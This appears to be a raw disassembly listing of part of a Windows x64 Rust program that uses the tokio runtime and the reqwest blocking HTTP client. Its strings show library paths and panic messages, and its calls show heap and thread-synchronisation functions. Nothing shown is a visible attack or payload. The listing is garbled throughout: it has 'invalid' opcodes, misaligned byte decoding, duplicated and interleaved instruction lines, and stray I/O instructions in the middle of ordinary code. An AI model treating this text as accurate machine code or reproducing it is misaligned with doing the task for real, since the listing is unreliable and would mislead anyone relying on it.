mov qword [rsp + 0x70], rax
jmp 0x1400c467a
invalid
mov qword [rsp + 0x50], 4
mov dword [rsp + 0x50], 4
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400c3be0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
dec dword [rdi]
push rdi
ror byte [rdi], 0x11
and al, 0x58
mov qword [rsp + 0x68], 0
add byte [rax], al
mov qword [rsp + 0x50], 3
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400c3be0
mov rcx, rsi
call fcn.1400c49f0
movaps xmm6, xmmword [rsp + 0x2f0]
add rsp, 0x308
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x50]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
mov rbx, qword [rsi + 0x38]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400c4d96
cmp qword [rbx + 0x10], 0x11
jb 0x1400c4d84
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rsi + 0x18]
test r8b, 1
jne 0x1400c4dcf
lock dec qword [r8 + 0x20]
jne 0x1400c4ddc
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x1400c4de7
mov rax, qword [r8 + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov rsi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rsi
jmp 0x1400c4de7
shr r8, 5
neg r8
cmp qword [rsi + 0x10], r8
jne 0x1400c4de4
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
add r8, qword [rsi]
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov esp, dword [rax]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c4e7e
test eax, eax
jne 0x1400c4ed7
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r15 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebp, byte [rax + 0x11c]
movzx r15d, byte [rax + 0x11d]
mov eax, r15d
test bpl, bpl
je 0x1400c4eb1
test r15b, r15b
je 0x1400c4efd
lea eax, [r15 - 1]
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11d], al
mov rax, qword [r14 + 0x30]
test al, 2
je 0x1400c4ee8
jmp 0x1400c5015
xor ebp, ebp
xor r15d, r15d
mov rax, qword [r14 + 0x30]
test al, 2
jne 0x1400c5015
test al, 4
jne 0x1400c5093
test al, 1
jne 0x1400c4f13
test al, 1
je 0x1400c4f52
jmp 0x1400c4f87
mov rax, qword [r12]
mov rcx, qword [r12 + 8]
call qword [rax + 0x10]
mov ebx, 5
jmp 0x1400c5098
mov rcx, qword [rbx]
mov rdx, qword [rcx + 8]
cmp rdx, qword [r14 + 0x28]
jne 0x1400c4f29
mov rcx, qword [rcx]
cmp rcx, qword [r14 + 0x20]
je 0x1400c4ef4
mov rax, qword [r14 + 0x30]
nop dword [rax]
mov rcx, rax
and rcx, 0xfffffffffffffffe
lock cmpxchg qword [r14 + 0x30], rcx
jne 0x1400c4f30
test al, 2
jne 0x1400c500f
mov rax, qword [r14 + 0x20]
mov rcx, qword [r14 + 0x28]
call qword [rax + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [r14 + 0x20], rax
mov qword [r14 + 0x28], rdx
mov rax, qword [r14 + 0x30]
nop word [rax + rax]
mov rcx, rax
or rcx, 1
lock cmpxchg qword [r14 + 0x30], rcx
jne 0x1400c4f70
test al, 2
jne 0x1400c5015
mov ebx, 5
test bpl, bpl
je 0x1400c5098
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c4fe9
test eax, eax
jne 0x1400c5098
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rdi + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], 1
mov byte [rax + 0x11d], r15b
jmp 0x1400c5098
lock or qword [r14 + 0x30], 1
mov rbx, qword [r14 + 0x38]
mov qword [r14 + 0x38], 4
cmp rbx, 4
je 0x1400c5093
lea rdx, [r14 + 0x40]
lea rcx, [rsp + 0x50]
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
cmp rbx, 4
je 0x1400c5093
cmp rbx, 5
je 0x1400c5098
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x50]
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
lock dec qword [r14]
jne 0x1400c506d
mov rcx, qword [rdi]
call fcn.1400c00b0
mov qword [rdi], 0
mov qword [rsi], rbx
add rsi, 8
lea rdx, [rsp + 0xe0]
mov r8d, 0x90
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400c509b
mov ebx, 4
mov qword [rsi], rbx
add rsp, 0x170
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
add byte [rax - 0x73], cl
mov word [rax + riz*8], fs
add byte [rax], al
add al, ch
push rbp
mov bh, bh
dec dword [rax - 0x48]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x24843948], al
loopne 0x1400c539b
add byte [rax], al
jne 0x1400c53c0
lea rdx, [rsp + 0x138]
mov r8d, 0x150
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
nop
add rsp, 0x3d8
pop rdi
pop rsi
ret
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x90], xmm0
lea rdi, [rsp + 0xf8]
lea rcx, [rsp + 0x288]
lea rdx, [rsp + 0x138]
mov r8d, 0x150
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x90]
mov r8, rdi
call fcn.1400be100
cmp dword [rsp + 0x288], 2
jne 0x1400c5454
lea rdx, [rsp + 0x138]
mov r8d, 0x150
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call qword [rax + 0x10]
jmp 0x1400c53b5
movups xmm0, xmmword [0x14013f840]
movaps xmmword [rsp + 0x120], xmm0
movups xmm0, xmmword [0x14013f830]
movaps xmmword [rsp + 0x110], xmm0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xd0], rax
movups xmm0, xmmword [rsp + 0x38]
movups xmm1, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov eax, dword [rsp + 0xd1]
mov ecx, dword [rsp + 0xd4]
mov dword [rsp + 0x81], eax
mov dword [rsp + 0x84], ecx
lea rcx, [rsp + 0x2b0]
mov byte [rsp + 0x80], 1
lea rdx, [rsp + 0x110]
lea r8, [rsp + 0x60]
call fcn.1400be650
cmp al, 2
je 0x1400c54f2
lea rdx, [rsp + 0x288]
jmp 0x1400c53a7
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x14013b958]
lea r8, [rsp + 0x37]
mov edx, 0x17
call fcn.1401049b0
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rdi, qword [rcx]
lea rbx, [rdi + 0x10]
mov rcx, rbx
call fcn.1400c5150
mov r14, qword [rdi + 0x10]
test r14, r14
je 0x1400c55df
lock dec qword [r14 + 0x1c8]
jne 0x1400c55d1
lea rcx, [r14 + 0x80]
mov edx, 1
lock xadd qword [r14 + 0x88], rdx
call fcn.1400bfb80
movabs rcx, 0x200000000
lock or qword [rax + 0x2310], rcx
mov rax, qword [r14 + 0x110]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r14 + 0x110], rcx
jne 0x1400c5590
test rax, rax
jne 0x1400c55d1
mov rax, qword [r14 + 0x100]
mov rcx, qword [r14 + 0x108]
mov qword [r14 + 0x100], 0
lock and qword [r14 + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400c55d1
call qword [rax + 8]
lock dec qword [r14]
jne 0x1400c55df
mov rcx, qword [rbx]
call fcn.1400bfd30
mov rbx, qword [rdi + 0x18]
test rbx, rbx
je 0x1400c5617
mov rcx, qword [rdi + 0x28]
call qword [sym.imp.kernel32.dll_CloseHandle]
lock dec qword [rbx]
jne 0x1400c5601
mov rcx, qword [rdi + 0x18]
call fcn.140048f00
mov rax, qword [rdi + 0x20]
lock dec qword [rax]
jne 0x1400c5617
add rdi, 0x20
mov rcx, rdi
call fcn.1400e4f50
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x1400c5640
lock dec qword [r8 + 8]
jne 0x1400c5640
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
or byte [rax], al
mov rsi, qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WaitOnAddress]
xor r12d, r12d
xor esp, esp
xor esp, esp
nop
test r12b, r12b
je 0x1400c6030
movzx eax, r12b
mov dh, 0xc4
cmp eax, 3
je 0x1400c603e
jmp 0x1400c648b
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax + 0x48000002], eax
mov dword [rbp + 0x288], eax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x288], rax
mov rcx, rbx
lea rdx, [rbp + 0x288]
mov r8, r14
call fcn.1400c4e00
mov rdi, qword [rbp + 0x360]
cmp rdi, 5
jne 0x1400c6398
mov byte [rbp + 0x290], 3
call fcn.1400d6580
mov rdi, rax
test rax, rax
je 0x1400c646e
lock dec byte [rdi + 0x28]
je 0x1400c60ae
mov r12, rdi
add r12, 0x28
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov r8d, 1
mov rcx, r12
mov rdx, r15
mov r9d, 0xffffffff
call rsi
invalid
mov al, 1
lock cmpxchg byte [r12], r13b
sub al, 0x24
invalid
sub al, 0x24
jne 0x1400c6090
lock dec qword [rdi]
mov r12b, 3
jne 0x1400c6010
mov rcx, rdi
call fcn.1400d3c40
jmp 0x1400c6010
dec dword [rax - 0x75]
mov ebp, 0x360
cmp rdi, 5
jne 0x1400c6398
mov byte [rbp + 0x290], 3
call fcn.1400dfe70
mov r8d, edx
mov eax, edx
mov eax, edx
sal byte [rcx], 1
leave
xor ecx, ecx
cmp rax, rbx
setne cl
mov r13d, 0xff
cmovb ecx, r13d
cmp edx, r14d
mov edx, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
sbb edx, edx
test cl, cl
cmovne edx, ecx
cmp dl, 2
jae 0x1400c62c2
mov rsi, qword [rbp + 0x288]
mov edi, 4
test rsi, rsi
je 0x1400c645c
mov rax, qword [rsi + 0x30]
mov r13, qword [rbp + 0x5b0]
add byte [rbx + rcx*4 - 0x4b], cl
mov eax, 0xf000005
invalid
invalid
add byte [rbx + rcx*4 - 0x4b], cl
mov eax, 0xf000005
invalid
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
mov cl, 0x4e
xor byte [rbp - 0xf], dh
mov cl, 0x4e
xor byte [rbp - 0xf], dh
and eax, 0xa
cmp eax, 8
jne 0x1400c6182
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + 0x10]
lock dec qword [rsi]
jne 0x1400c6194
mov rcx, qword [rbp + 0x288]
call fcn.1400c00b0
lea ecx, [rax - 0x17fffffe]
sbb al, 0x9f
invalid
xor ebx, ebx
jmp 0x1400c6436
outsd dx, dword [rsi]
idiv edi
inc dword [rcx + rcx*4 - 0x17]
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
mov qword [rbp + 0x568], rax
jb 0x1400c668a
invalid
imul eax, ecx, 0x3b9aca00
sub r13d, eax
call fcn.1400d6580
test rax, rax
je 0x1400c64be
mov rdi, rax
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400c7589
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rdi
lea rax, fcn.1400c01e0
mov qword [rbp + 0x508], rax
test dword [rax], ecx
add eax, 0x89480000
lea edx, [rax]
add eax, 0x8d480000
test dword [rax], ecx
add eax, 0x89480000
test dword [rax], esp
add eax, 0x89480000
test dword [rax], ebp
add eax, 0x8b480000
test dword [rax], esi
add eax, 0x89480000
test dword [rax + 3], esp
add byte [rax], al
test dword [rax], ecx
add eax, 0x89480000
or byte [0xc9546230], al
lea edx, [rax]
add eax, 0x8d480000
test dword [rax], ecx
add eax, 0x89480000
test dword [rax], esp
add eax, 0x89480000
test dword [rax], ebp
add eax, 0x8b480000
test dword [rax], esi
add eax, 0x89480000
test dword [rax + 3], esp
add byte [rax], al
movaps xmm0, xmmword [rbp + 0x60]
movaps xmm1, xmmword [rbp + 0x70]
movaps xmm2, xmmword [rbp + 0x80]
movaps xmm3, xmmword [rbp + 0x90]
movups xmmword [rbp + 0x368], xmm0
movups xmmword [rbp + 0x378], xmm1
movups xmmword [rbp + 0x388], xmm2
movups xmmword [rbp + 0x398], xmm3
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x3a8], rax
mov byte [rbp + 0x3b1], 0
lea r14, [rbp + 0x3b8]
lea r12, [rbp + 0x400]
xor eax, eax
movzx eax, al
lea rcx, [0x140174c68]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rbp + 0x360], rbx
mov dword [rbp + 0x360], ebx
mov dword [rbp + 0x368], r14d
lea r15, [rbp + 0x360]
mov rcx, r15
mov rdx, rax
call fcn.1400d67b0
cmp edx, 0x3b9aca00
mov ecx, 0
cmove edx, ecx
mov ecx, 0
cmovne rcx, rax
call fcn.1400d78f0
lea r12, [rbp + 0x570]
nop word cs:[rax + rax]
mov rcx, r15
mov rdx, rsi
mov r8, r12
call fcn.1400c4e00
mov rdi, qword [rbp + 0x360]
cmp rdi, 5
jne 0x1400c6398
mov byte [rbp + 0x290], 3
call fcn.1400dfe70
mov r8d, edx
xor ecx, ecx
cmp rax, rbx
setne cl
cmovb ecx, r13d
cmp edx, r14d
cmp edx, esi
cmp edx, esi
mov edx, 0
sbb edx, edx
test cl, cl
cmovne edx, ecx
cmp dl, 2
jb 0x1400c6136
mov qword [rbp + 0x360], rbx
mov dword [rbp + 0x368], r14d
mov ch, 0x68
add eax, dword [rax]
add byte [rcx + rcx*4 - 7], cl
mov ch, 0x68
add eax, dword [rax]
add byte [rcx + rcx*4 - 7], cl
mov rdx, rax
call fcn.1400d67b0
cmp edx, 0x3b9aca00
mov ecx, 0
cmove edx, ecx
mov ecx, 0
add byte [rax], al
add byte [rax + 0xf], cl
enter 0x5de8, 0x15
add dword [rax], eax
add byte [rax], al
add byte [rax + 0xf], cl
enter 0x5de8, 0x15
add dword [rax], eax
jmp 0x1400c6310
dec dword [rax - 0x75]
popfq
push 0x48000003
lea edx, [rbp + 0x370]
mov rbx, qword [rbp + 0x368]
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0xb0]
mov r8d, 0x88
call sub.VCRUNTIME140.dll_memcpy
add eax, dword [rax]
add eax, dword [rax]
mov rsi, qword [rbp + 0x288]
test rsi, rsi
mov r13, qword [rbp + 0x5b0]
add eax, 0x8b4c0000
mov ch, 0xb8
add eax, 0x42740000
add eax, 0x8b4c0000
mov ch, 0xb8
add eax, 0x42740000
mov rax, qword [rsi + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 4
add al, 0xf0
cmpxchg qword [rsi + 0x30], rcx
add al, 0xf0
cmpxchg qword [rsi + 0x30], rcx
jne 0x1400c63e0
and eax, 0xa
cmp eax, 8
jne 0x1400c6402
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + 0x10]
lock dec qword [rsi]
jne 0x1400c6414
mov rcx, qword [rbp + 0x288]
call fcn.1400c00b0
cmp edi, 4
add al, 0xf
test byte [rsi + 0x18], ah
add byte [rax], al
je 0x1400c7c83
lea rcx, [rbp + 0x1f0]
lea rdx, [rbp + 0xb0]
mov al, 0
add byte [rax], al
mov r8d, 0x88
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x540]
mov rcx, qword [rbp + 0x548]
call qword [rax + 0x18]
cmp edi, 3
mov rsi, qword [rbp + 0x318]
jne 0x1400c7992
invalid
invalid
add byte [rax], al
cmp edx, dword [0x188f56459]
adc eax, 0xdb310000
jmp 0x1400c79a4
xor ebx, ebx
mov r13, qword [rbp + 0x5b0]
mov r14, qword [rbp + 0x5b8]
jmp 0x1400c6436
lea rcx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
lea r8, [0x140145a70]
lea eax, [0x140145a70]
lea eax, [0x140145a70]
mov edx, 0x5e
call fcn.140104a60
jmp case.0x1400c6a2c.2
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
call fcn.140104c30
invalid
add byte [rcx + 8], bh
mov ecx, 8
mov edx, 0xd0
call fcn.140104380
lea rcx, str.core_thread_exited_early0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
mov edx, 0x18
call fcn.140104a60
lea rcx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
lea r8, [0x140145a70]
mov edx, 0x5e
call fcn.140104a60
mov ah, ch
add eax, dword [rax]
mov ah, ch
add eax, dword [rax]
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea ecx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401466c8]
mov edx, 0x28
call fcn.140104a60
call fcn.140010910
mov ecx, 1
mov rdx, rsi
call fcn.140104360
add byte [rax - 0x77], cl
bnd call fcn.140104360
mov qword [rbp + 0x360], rdi
lea rcx, [rbp + 0x368]
lea rdx, [rbp + 0xb0]
mov r8d, 0x88
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x3f0], r12
mov rax, qword [rbp + 0x5a0]
mov qword [rbp + 0x3f8], rax
mov eax, dword [rbp + 0x5dc]
mov dword [rbp + 0x400], eax
mov eax, dword [rbp + 0x5d0]
mov dword [rbp + 0x404], eax
mov eax, dword [rbp + 0x5cc]
mov dword [rbp + 0x408], eax
add al, 0
add byte [rbx + 0x5c885], cl
add byte [rcx + 0x40c85], cl
add byte [rax], al
add al, 0
add byte [rbx + 0x5c885], cl
add byte [rcx + 0x40c85], cl
add byte [rax], al
movzx eax, word [rbp + 0x5e6]
add byte [rax], al
movzx eax, word [rbp + 0x5e6]
mov word [rbp + 0x410], ax
movzx eax, word [rbp + 0x5e4]
in al, 5
add byte [rax], al
mov word [rbp + 0x412], ax
mov eax, dword [rbp + 0x5c4]
mov dword [rbp + 0x414], eax
mov eax, dword [rbp + 0x5c0]
mov dword [rbp + 0x418], eax
mov eax, dword [rbp + 0x5d4]
mov dword [rbp + 0x41c], eax
add byte [rax], al
add byte [rax], al
mov eax, dword [rbp + 0x5e0]
mov dword [rbp + 0x420], eax
mov eax, dword [rbp + 0x5d8]
mov dword [rbp + 0x424], eax
movaps xmm0, xmmword [rbp + 0x540]
movups xmmword [rbp + 0x428], xmm0
movzx eax, byte [rbp + 0x550]
mov byte [rbp + 0x438], al
mov eax, dword [rbp + 0x508]
mov dword [rbp + 0x439], eax
add byte [rax], al
add byte [rax], al
mov eax, dword [rbp + 0x50b]
mov dword [rbp + 0x43c], eax
add eax, 0x85890000
cmp al, 4
add byte [rax], al
mov qword [rbp + 0x440], r13
mov dword [rbp + 0x448], r15d
mov eax, dword [rbp + 0x210]
mov dword [rbp + 0x46c], eax
insb byte [rdi], dx
add al, 0
add byte [rdi], cl
sub byte [rbp + 0x1f0], al
add byte [rax], al
lodsd eax, dword [rsi]
add al, 0
add byte [rcx + rcx*4 - 0x43], al
add al, 0
add al, 0
add byte [rbx + 0x21085], cl
add byte [rcx + 0x46c85], cl
insb byte [rdi], dx
add al, 0
insb byte [rdi], dx
add al, 0
add byte [rdi], cl
sub byte [rbp + 0x1f0], al
add byte [rax], al
add byte [rax], al
movaps xmm1, xmmword [rbp + 0x200]
movups xmmword [rbp + 0x44c], xmm0
movups xmmword [rbp + 0x45c], xmm1
pop rsp
add al, 0
add byte [rax - 0x75], cl
test dword [rax], esi
add eax, 0x89480000
test dword [rax + 4], esi
add byte [rax], al
pop rsp
add al, 0
add byte [rax - 0x75], cl
test dword [rax], esi
add eax, 0x89480000
test dword [rax + 4], esi
add byte [rax], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
add eax, 0x7953d
mov qword [rsp + 0x20], rax
lea rcx, str.core_thread_panicked
and byte [rax - 0x73], cl
or eax, 0x79519
lea r9, [0x14013b9f8]
lea r8, [rbp + 0x360]
add byte [rax], al
stosb byte [rdi], al
push rbx
invalid
add byte [rax], al
mov edx, 0x14
call fcn.1401049b0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x14013b958]
lea r8, [rbp + 0x1f0]
lea eax, [rbp + 0x1f0]
mov edx, 0x17
add byte [rax], al
call fcn.1401049b0
lea rax, str.overflow_in_Duration::new
mov qword [rbp + 0x360], rax
add byte [rax - 0x39], cl
test dword [rax + 3], ebp
add byte [rax], al
add dword [rax], eax
add byte [rax], al
in eax, dx
invalid
add byte [rax - 0x39], cl
test dword [rax + 3], ebp
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xa90be
nop
or al, byte [rax]
lea rax, [0x14016f768]
mov qword [rbp + 0x370], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x378], xmm0
js 0x1400c66bc
add byte [rax], al
js 0x1400c66bc
add byte [rax], al
lea rdx, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_time.rspT
lea edx, [0x1401454b8]
imul ch
invalid
lea rcx, [rbp + 0x360]
call fcn.140104620
mov ecx, 7
int 0x29
ud2
add ch, cl
sub dword [rdi], ecx
or ecx, dword [rdi]
invalid
mov dh, 0x85
invalid
movzx eax, byte [rbp + 0x4f0]
test eax, eax
je 0x1400c67ad
cmp eax, 3
jne 0x1400c6732
movzx eax, byte [rbp + 0x4a0]
test eax, eax
je 0x1400c671a
cmp eax, 3
jne 0x1400c673e
movzx eax, byte [rbp + 0x498]
test eax, eax
je case.0x1400c36e0.12
cmp eax, 3
jne 0x1400c674a
mov rax, qword [rbp + 0x490]
mov rcx, qword [rax]
jmp 0x1400c6aa0
xchg byte [rbx], al
add byte [rax], al
xchg byte [rbx], al
add byte [rax], al
mov rcx, qword [rbp + 0x430]
jmp 0x1400c6a58
mov rcx, qword [rbp + 0x480]
jmp 0x1400c6a8b
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blocking_body.rs
call fcn.140104c30
xchg edx, eax
invalid
lea rcx, [0x14013c6a8]
call fcn.140104c30
out 0xe4, al
add eax, dword [rax]
lea rcx, [0x14013c690]
call fcn.140104c30
mov byte [rbp + 0x3b0], 1
lea rcx, [rbp + 0x368]
mov rax, qword [rcx + 0x40]
lea rdx, [rbp + 0x1a0]
mov qword [rdx + 0x40], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
lea rdx, [rbp + 0xb0]
mov r8d, 0x138
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + 0x4f0], 0
mov rax, qword [r14 + 0x110]
mov qword [rbp + 0x210], rax
movups xmm0, xmmword [r14 + 0xf0]
movups xmm1, xmmword [r14 + 0x100]
movaps xmmword [rbp + 0x200], xmm1
movdqu xmm6, xmmword [rbp + 0x4d0]
mov rax, qword [rbp + 0x4e0]
mov rbx, qword [rbp + 0x4e8]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3e0], rbx
cmp rbx, 0x2000
mov ecx, 0x2000
cmovae rbx, rcx
movaps xmmword [rbp + 0x1f0], xmm0
test rax, rax
cmove rbx, rcx
mov qword [rbp + 0x3f8], 0
mov eax, 1
xor ecx, ecx
test rbx, rbx
je 0x1400c684c
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, rbx
call fcn.1400e0010
test rax, rax
je 0x1400c6a2e
mov rcx, qword [rbp + 0x3f8]
mov r8, rbx
shr r8, 0xa
mov edx, 0x40
je 0x1400c6862
bsr rdx, r8
xor rdx, 0x3f
shl rdx, 2
mov r8d, 0x101
sub r8, rdx
mov qword [rbp + 0x3b8], rax
mov qword [rbp + 0x3c0], 0
mov qword [rbp + 0x3c8], rbx
mov qword [rbp + 0x3d0], r8
movdqu xmmword [rbp + 0x3e8], xmm6
mov rax, qword [rbp + 0x210]
mov qword [r12 + 0x20], rax
movaps xmm0, xmmword [rbp + 0x1f0]
movaps xmm1, xmmword [rbp + 0x200]
movups xmmword [r12 + 0x10], xmm1
movups xmmword [r12], xmm0
cmp qword [rbp + 0x3d8], 0
je 0x1400c6f2c
cmp rcx, qword [rbp + 0x3e0]
jne 0x1400c6f2c
xor ebx, ebx
cmp byte [rbp + 0x420], 3
je 0x1400c68ea
mov rcx, r12
call fcn.140086030
mov rdi, qword [rbp + 0x3e8]
mov rsi, qword [rbp + 0x3f0]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400c6921
cmp qword [rsi + 0x10], 0x11
jb 0x1400c690f
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rbp + 0x3d0]
test r8b, 1
jne 0x1400c695d
lock dec qword [r8 + 0x20]
jne 0x1400c6983
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x1400c6974
mov rax, qword [r8 + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov rsi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rsi
jmp 0x1400c6974
shr r8, 5
neg r8
cmp qword [rbp + 0x3c8], r8
je 0x1400c6983
add r8, qword [rbp + 0x3b8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rbp + 0x4f0], 1
xor eax, eax
mov cl, 3
test rax, rax
je 0x1400c6ae0
mov byte [rbp + 0x3b1], cl
cmp r13d, 0x3b9aca00
jne 0x1400c76a9
call fcn.1400d6580
mov rdi, rax
test rax, rax
je 0x1400c6a3b
lock dec byte [rdi + 0x28]
je 0x1400c69fe
mov rbx, rdi
add rbx, 0x28
lea r15, [0x1401477b8]
mov r12, qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WaitOnAddress]
xor esi, esi
nop dword [rax + rax]
mov r8d, 1
mov rcx, rbx
mov rdx, r15
